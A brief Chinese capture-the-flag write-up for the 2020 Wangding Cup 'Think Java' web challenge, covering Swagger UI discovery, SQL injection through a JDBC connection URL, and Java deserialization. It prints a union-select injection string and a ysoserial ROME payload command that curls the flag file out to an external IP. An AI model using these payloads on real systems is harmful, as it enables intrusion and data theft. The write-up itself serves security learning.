題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:2020網鼎杯朱雀組部分Web題wp
第二屆網鼎杯(第三場:朱雀組)Think Java
網鼎杯2020朱雀組-web(Think Java)
我討厭Java
jar逆向
jd不說了
swagger-ui.html
Swagger UI:提供了一個可視化的UI頁面展示描述文件。接口的調用方、測試、項目經理等都可以在該頁面中對相關接口進行查閱和做一些簡單的接口請求。該項目支持在線導入描述文件和本地部署UI項目。
看到import io.swagger.annotations.ApiOperation;
應該能想到有swagger-ui.html
,讓后續做題簡單很多
jdbc sql注入
jdbc連接數據庫語句后面可以跟參數
jdbc:mysql://localhost:3306/數據庫名?user=用戶名&password=密碼&useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT
后跟無效參數也不會影響,所以可以
jdbc:mysql://localhost:3306/myapp?a=1' union select 1#
jdbc:mysql://localhost:3306/myapp#' union select 1#
Java反序列化
下方的特征可以作為序列化的標志參考:
一段數據以rO0AB
開頭,你基本可以確定這串就是Java序列化base64加密的數據。
或者如果以aced
開頭,那么他就是這一段Java序列化的16進制。
bp插件Java Deserialization Scanner
在Extender->BApp Store
下載
選中目標后,Attack(Base64)
,發現可能存在ROME
類型的反序列化
之后可以繼續在插件里exploit,也可以在命令行里用ysoserial生成payload
ysoserial
java -jar ysoserial.jar ROME "curl 174.2.171.201:6666 -d @/flag" | base64 -w 0